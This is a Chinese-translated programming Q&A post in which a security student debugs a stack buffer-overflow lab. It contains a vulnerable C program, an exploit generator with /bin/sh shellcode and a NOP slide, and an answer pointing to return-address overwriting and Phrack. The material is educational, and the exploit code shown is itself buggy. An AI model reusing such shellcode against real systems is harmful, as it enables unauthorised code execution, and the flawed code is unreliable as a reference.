Jor*_*abb 5 c buffer-overflow stack-smash shellcode fortify-source
仍在学习安全类的缓冲区溢出,我正在尝试利用此应用程序中的漏洞:
//vuln.c
#include <stdio.h>
int bof(char *str)
{
char buffer[12];
//BO Vulnerability
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
Run Code Online (Sandbox Code Playgroud)
使用此漏洞利用程序:
//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
int main(int argc, char* argv[])
{
char buffer[517];
char large_string[512];
FILE *badfile;
badfile = fopen("./badfile", "w");
//NOPslide
memset(&buffer,0x90,517);
//BEGIN FILL BUFFER
//from stack_smashing.pdf
long *long_ptr = (long *) large_string;
int i;
for (i = 0; i < 128; i++)
*(long_ptr + i) = (int) buffer;
for (i = 100; i < strlen(code)+100; i++)
large_string[i] = code[i];
strcpy(buffer,large_string);
//END FILL BUFFER
//save buffer to badfile
fwrite(buffer,517,1,badfile);
fclose(badfile);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
出于某种原因,当我通过运行exploit创建badfile时,它不会向它推送任何东西.缓冲区为空或者写入不正确.我似乎无法找到我的错误,经过不知疲倦的谷歌搜索,我无法找到足够的答案.根据我对我使用的填充缓冲区代码的理解,这应该用我的缓冲区的地址填充long_string,然后将我的shellcode放在long_string的开头(在一些NOOP幻灯片之后),然后将long_string复制回缓冲区.我真的没有看到这个或与fwrite有任何问题.建议?
好吧,您需要了解粉碎堆栈真正能实现什么。它基本上破坏了很多值并覆盖了一个特定的地址,该地址基本上是堆栈上返回指针的地址($ebp + 4)。您肯定会尝试破坏堆栈,但是为了准确理解您需要用指向您的 shellcode 的另一个地址覆盖哪个地址,您必须做大量的事情。
http://www.phrack.com/issues.html?issue=49&id=14
目前,您还无法实现这两件事中的任何一个。
您应该使用 gdb 或其他工具来查看实际易受攻击代码的汇编代码并查看返回地址。基于此,您尝试使用命令行来破坏堆栈。
然后,您可以在不破坏堆栈的情况下运行漏洞利用代码。尝试捕获实际的返回地址,您应该将其指向您植入 shellcode 的位置。
您应该按照 prack 上的阅读来真正理解粉碎堆栈的概念。希望有帮助!
| 归档时间: |
|
| 查看次数: |
3426 次 |
| 最近记录: |